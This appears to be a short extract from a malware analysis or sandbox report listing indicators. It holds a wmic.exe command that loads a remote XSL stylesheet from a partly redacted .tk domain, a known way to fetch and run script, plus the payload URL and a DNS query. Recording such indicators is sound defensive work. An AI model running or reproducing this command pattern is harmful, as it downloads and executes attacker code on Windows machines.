Technical Information
- '<SYSTEM32>\wbem\wmic.exe' os get nX6Ovii2qtvpRe, 1azfHj6OR, 3y8h5yBhyr, 50pkpmLCibOXu8, freephysicalmemory /format:"http://cr###ocra.tk/anNjcmlwdC8wNmRqVldUbFh2NGQyTEpZUHBPdFZXSEIwdk1rbTVoN3F6MDd5"
- http://cr###ocra.tk/anNjcmlwdC8wNmRqVldUbFh2NGQyTEpZUHBPdFZXSEIwdk1rbTVoN3F6MDd5.xsl
- DNS ASK cr###ocra.tk